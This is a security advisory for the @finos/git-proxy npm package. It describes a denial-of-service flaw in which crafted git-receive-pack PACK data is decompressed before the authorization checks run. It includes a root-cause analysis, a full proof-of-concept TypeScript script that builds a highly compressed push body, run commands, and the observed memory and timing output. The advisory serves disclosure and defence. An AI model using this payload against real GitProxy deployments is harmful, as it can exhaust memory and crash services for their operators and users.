All advisories
Published

Crafted git-receive-pack request can trigger PACK decompression before authorization

finos/git-proxy / GHSA-w285-c89q-mg53

Affected packages

@finos/git-proxy npm
Affected versions<= 2.1.1
Patched versionsNot specified

Description

Crafted git-receive-pack request can trigger PACK decompression before authorization

Summary

GitProxy parses incoming git-receive-pack push data before repository authorization and user push-permission checks complete. A remote client that can reach a GitProxy push endpoint can send a syntactically valid receive-pack request containing a highly compressed or object-heavy PACK payload. The proxy then performs expensive, attacker-controlled decompression in-process, allowing a single request to consume excessive CPU and memory and potentially crash or stall the GitProxy service.

Details

Root Cause Analysis

The resource exhaustion happens because GitProxy performs expensive semantic PACK parsing before it has made the cheap authorization decisions that should gate push processing.

  1. The HTTP route captures matching smart-Git pack POST bodies before the proxy filter runs the action chain:
const isPackPost = (req: Request) =>
  req.method === 'POST' &&
  /^(?:\/[^/]+)*\/[^/]+\.git\/(?:git-upload-pack|git-receive-pack)$/.test(req.url);

const extractRawBody = async (req: Request, res: Response, next: NextFunction) => {
  if (!isPackPost(req)) {
    return next();
  }

  // ...
  const buf = await getRawBody(pluginStream, { limit: getMaxPackSizeBytes() });
  req.bodyRaw = buf;
  req.pipe = (dest, opts) => proxyStream.pipe(dest, opts);
  next();
};

This limit is applied to the compressed request body only. It does not bound the decompressed object data or the CPU work required to inflate it.

  1. The push chain runs parsePush before the repository allowlist and user push-permission checks:
const pushActionChain: ((req: Request, action: Action) => Promise<Action>)[] = [
  proc.push.parsePush,
  proc.push.checkEmptyBranch,
  proc.push.checkRepoInAuthorisedList,
  proc.push.checkCommitMessages,
  proc.push.checkAuthorEmails,
  proc.push.checkUserPushPermission,
  proc.push.pullRemote,
  proc.push.writePack,
  // ...
];

As a result, a crafted receive-pack request can reach PACK parsing and decompression before checkRepoInAuthorisedList or checkUserPushPermission have a chance to reject it.

  1. parsePush calls decompressGitObjects() over attacker-controlled PACK data. That routine creates a zlib inflater per object, stores every inflated chunk, feeds the compressed stream one byte at a time, and then concatenates the full inflated output:
const inflater = createInflate();
const chunks: Buffer[] = [];

const onData = (data: Buffer) => {
  chunks.push(data);
};

inflater.on('data', onData);

while (offset < buffer.length && !(done || error)) {
  await new Promise<void>((resolve) => {
    currentWriteResolve = resolve;
    inflater.write(buffer.subarray(offset, offset + 1), () => {
      resolve();
    });
    offset++;
  });
}

const result = {
  header,
  data: Buffer.concat(chunks).toString('utf-8'),
  offset: startOffset,
};

There is no independent cap on decompressed bytes, per-object output, object count, or time spent inflating. A PACK whose compressed upload is below maxPackSizeBytes can therefore expand into much larger in-memory data and force byte-by-byte async zlib work in the Node.js process.

The core bug is the ordering and accounting mismatch: GitProxy inflates untrusted compressed PACK data before cheap authorization gates run, and it accounts for compressed request size but not decompressed size or decompression work.

Impact

Successful exploitation can cause high CPU usage, high memory usage, event-loop starvation, request latency, failed pushes, or process termination due to out-of-memory conditions. The primary impact is availability of the GitProxy service and any colocated UI/API process. No confidentiality or integrity impact is currently claimed for this advisory.

Impact depends on deployment conditions, including whether the GitProxy push endpoint is exposed to untrusted networks, whether an upstream reverse proxy enforces stricter body and rate limits before requests reach GitProxy, and whether container/process resource limits contain a single-request resource spike.

Proof of Concept

I reproduced this locally against checkout commit 656d3f5 on Node v22.22.1 by feeding a generated smart-HTTP receive-pack body into GitProxy's actual parsePush.exec() entry point. This exercises packet-line parsing, PACK extraction, decompressGitObjects(), and commit parsing before any repository authorization step runs.

Save this as repro-actual-exec.ts at the repository root after installing project dependencies, then run it with tsx:

import { createHash } from 'node:crypto';
import { deflateSync } from 'node:zlib';
import { exec as parsePush } from './src/proxy/processors/push-action/parsePush';

const FLUSH_PACKET = '0000';
const PACK_SIGNATURE = 'PACK';

function encodeGitObjectHeader(type, size) {
  const bytes = [];
  let byte = (type << 4) | (size & 0x0f);
  size >>= 4;
  if (size > 0) byte |= 0x80;
  bytes.push(byte);
  while (size > 0) {
    let nextByte = size & 0x7f;
    size >>= 7;
    if (size > 0) nextByte |= 0x80;
    bytes.push(nextByte);
  }
  return Buffer.from(bytes);
}

function packetLine(line) {
  return Buffer.concat([
    Buffer.from((line.length + 4).toString(16).padStart(4, '0'), 'ascii'),
    Buffer.from(line, 'ascii'),
  ]);
}

function createReceivePackBody(expandedMiB) {
  const expandedBytes = expandedMiB * 1024 * 1024;
  const pkt = Buffer.concat([
    packetLine(
      'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ' +
      'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb ' +
      'refs/heads/main\0report-status side-band-64k\n',
    ),
    Buffer.from(FLUSH_PACKET, 'ascii'),
  ]);
  const commitPrefix =
    'tree 1234567890abcdef1234567890abcdef12345678\n' +
    'parent abcdef1234567890abcdef1234567890abcdef12\n' +
    'author Test Author <author@example.com> 1234567890 +0000\n' +
    'committer Test Committer <committer@example.com> 1234567890 +0000\n\n';
  const commitBody = Buffer.concat([
    Buffer.from(commitPrefix, 'utf8'),
    Buffer.alloc(expandedBytes, 0x41),
  ]);
  const compressedObject = deflateSync(commitBody, { level: 9 });
  const packHeader = Buffer.alloc(12);
  packHeader.write(PACK_SIGNATURE, 0, 4, 'utf8');
  packHeader.writeUInt32BE(2, 4);
  packHeader.writeUInt32BE(1, 8);
  const packWithoutChecksum = Buffer.concat([
    packHeader,
    encodeGitObjectHeader(1, commitBody.length),
    compressedObject,
  ]);
  const checksum = createHash('sha1').update(packWithoutChecksum).digest();
  const pack = Buffer.concat([packWithoutChecksum, checksum]);
  return { body: Buffer.concat([pkt, pack]), pack, compressedObject };
}

const expandedMiB = Number(process.argv[2] || 64);
const { body, pack, compressedObject } = createReceivePackBody(expandedMiB);
const action = {
  steps: [],
  addStep(step) { this.steps.push(step); },
  setCommit(from, to) { this.commitFrom = from; this.commitTo = to; },
};

const realLog = console.log;
const realInfo = console.info;
const realWarn = console.warn;
console.log = () => undefined;
console.info = () => undefined;
console.warn = () => undefined;
const before = process.memoryUsage().rss;
const start = process.hrtime.bigint();
await parsePush({ body }, action);
const elapsedMs = Number(process.hrtime.bigint() - start) / 1e6;
const after = process.memoryUsage().rss;
console.log = realLog;
console.info = realInfo;
console.warn = realWarn;

console.log(JSON.stringify({
  expandedMiB,
  receivePackBodyBytes: body.length,
  packBytes: pack.length,
  compressedObjectBytes: compressedObject.length,
  parsedCommits: action.commitData?.length || 0,
  parsedMessageBytes: action.commitData?.[0]?.message?.length || 0,
  parserStepError: action.steps?.[0]?.error || false,
  elapsedMs: Math.round(elapsedMs),
  rssDeltaMiB: Math.round((after - before) / 1024 / 1024),
  amplification: Math.round((expandedMiB * 1024 * 1024) / compressedObject.length),
}, null, 2));

Commands:

npm install
npx tsx repro-actual-exec.ts 8
npx tsx repro-actual-exec.ts 64

Observed local output for the 8 MiB controlled case:

{
  "expandedMiB": 8,
  "receivePackBodyBytes": 8443,
  "packBytes": 8309,
  "compressedObjectBytes": 8273,
  "parsedCommits": 1,
  "parsedMessageBytes": 8388608,
  "parserStepError": false,
  "elapsedMs": 115,
  "rssDeltaMiB": 46,
  "amplification": 1014
}

Observed local output for the 64 MiB controlled case:

{
  "expandedMiB": 64,
  "receivePackBodyBytes": 65520,
  "packBytes": 65386,
  "compressedObjectBytes": 65349,
  "parsedCommits": 1,
  "parsedMessageBytes": 67108864,
  "parserStepError": false,
  "elapsedMs": 700,
  "rssDeltaMiB": 338,
  "amplification": 1027
}

The important signal is that parsePush.exec() accepted and parsed a complete receive-pack body whose compressed PACK object was about 65 KB, then materialized a 64 MiB commit message before any later authorization processor could run. Larger values increase memory pressure proportionally and should only be tested in a constrained local environment.